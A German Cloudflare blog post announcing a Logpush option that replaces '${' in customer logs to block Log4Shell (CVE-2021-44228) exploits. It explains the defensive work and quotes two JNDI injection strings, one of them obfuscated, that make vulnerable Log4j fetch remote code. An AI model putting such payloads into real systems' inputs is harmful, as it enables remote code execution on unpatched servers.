Jetzt abonnieren, um Benachrichtigungen über neue Beiträge zu erhalten:

Bereinigung von Cloudflare-Protokolle zum Schutz der Kunden vor der Log4j-Sicherheitslücke

2021-12-14

Lesezeit: 1 Min.
Dieser Beitrag ist auch auf English, 繁體中文, Français, 日本語, 한국어, und 简体中文 verfügbar.

Am 9. Dezember 2021 erfuhr die Welt von CVE-2021-44228, einer Zero-Day-Sicherheitslücke, die das Apache Log4j-Dienstprogramm betrifft. Cloudflare hat sofort unsere WAF aktualisiert, um vor dieser Sicherheitslücke zu schützen, aber wir empfehlen unseren Kunden, ihre Systeme so schnell wie möglich zu aktualisieren.

Wir wissen jedoch, dass viele Cloudflare-Kunden ihre Logs mit Software konsumieren, die Log4j verwendet, daher wehren wir auch alle Exploits ab, die über Cloudflare Logs versucht werden. Zum Zeitpunkt der Erstellung dieses Artikels sehen wir das Exploit-Muster in den Protokollen, die wir an unsere Kunden senden, bis zu 1000 Mal pro Sekunde.

Ab sofort können Kunden ihre Logpush-Jobs aktualisieren, um Token, die diese Sicherheitslücke auslösen könnten, automatisch zu entfernen. Weitere Informationen hierzu finden Sie in unserer Dokumentation für Entwickler oder weiter unten.

Wie der Angriff funktioniert

Wie die Log4j-Sicherheitslücke funktioniert, können Sie in unserem Blog-Beitrag hier nachlesen. Kurz gesagt, ein Angreifer kann etwas wie ${jndi:ldap://example.com/a} in eine beliebige Zeichenfolge einfügen. Log4j stellt dann eine Verbindung über das Internet her, um dieses Objekt abzurufen.

Cloudflare-Protokolle enthalten viele String-Felder, die von Endbenutzern im öffentlichen Internet kontrolliert werden, wie z. B. User Agent und URL-Pfad. Durch diese Sicherheitslücke ist es möglich, dass ein böswilliger Benutzer eine Remotecodeausführung auf einem System veranlassen kann, das diese Felder liest und eine ungepatchte Instanz von Log4j verwendet.

Unser Plan zur Risikominderung

Leider reicht die Überprüfung auf ein Token wie ${jndi:ldap nicht aus, um sich vor dieser Schwachstelle zu schützen. Aufgrund der Ausdruckskraft der Templatesprache ist es notwendig, auch auf verschleierte Varianten zu prüfen. Wir sehen bereits, dass Angreifer im offenen Internet Varianten wie ${jndi:${lower:l}${lower:d}a${lower:p}://loc${upper:a}lhost:1389/rce} verwenden. Daher ist das Schwärzen des Tokens ${ die allgemeinste Möglichkeit, sich gegen diese Schwachstelle zu schützen.

Das Token ${ erscheint bis zu 1.000 Mal pro Sekunde in den Protokollen, die wir derzeit an Kunden senden. Eine stichprobenartige Überprüfung einiger Datensätze zeigt, dass viele davon keine Versuche sind, diese Sicherheitslücke auszunutzen. Daher können wir unsere Protokolle nicht sicher schwärzen, ohne dass dies Auswirkungen auf Kunden hätte, die dieses Token in ihren Protokollen erwarten.

Ab sofort können Kunden ihre Logpush-Aufträge aktualisieren, um die Zeichenfolge ${ zu entfernen und sie durch x{ überall zu ersetzen.

Um dies zu aktivieren, können Kunden ihre Konfiguration der Logpush-Auftragsoptionen aktualisieren und den Parameter CVE-2021-44228=true einfügen. Detaillierte Anweisungen zur Verwendung der Logpush-API finden Sie in dem Beispiel in unserer Dokumentation für Entwickler. Bitte beachten Sie, dass diese Option derzeit nicht im Cloudflare Dashboard verfügbar ist und nur über die API geändert werden kann.

Wir schützen komplette Firmennetzwerke, helfen Kunden dabei, Internetanwendungen effizient zu erstellen, jede Website oder Internetanwendung zu beschleunigen, DDoS-Angriffe abzuwehren, Hacker in Schach zu halten, und unterstützen Sie bei Ihrer Umstellung auf Zero Trust.

Greifen Sie von einem beliebigen Gerät auf 1.1.1.1 zu und nutzen Sie unsere kostenlose App, die Ihr Internet schneller und sicherer macht.

Wenn Sie mehr über unsere Mission, das Internet besser zu machen, erfahren möchten, beginnen Sie hier. Sie möchten sich beruflich neu orientieren? Dann werfen Sie doch einen Blick auf unsere offenen Stellen.
Logs (DE)VulnerabilitiesZero Day Threats (DE)SicherheitLog4J (DE)Log4Shell (DE)

Folgen auf X

Jon Levine|@jplevine
Cloudflare|@cloudflare

Verwandte Beiträge

26. November 2024 um 16:00

Cloudflare incident on November 14, 2024, resulting in lost logs

On November 14, 2024, Cloudflare experienced a Cloudflare Logs outage, impacting the majority of customers using these products. During the ~3.5 hours that these services were impacted, about 55% of the logs we normally send to customers were not sent and were lost. The details of what went wrong and why are interesting both for customers and practitioners....

08. Oktober 2024 um 13:00

Cloudflare acquires Kivera to add simple, preventive cloud security to Cloudflare One

The acquisition and integration of Kivera broadens the scope of Cloudflare’s SASE platform beyond just apps, incorporating increased cloud security through proactive configuration management of cloud services. ...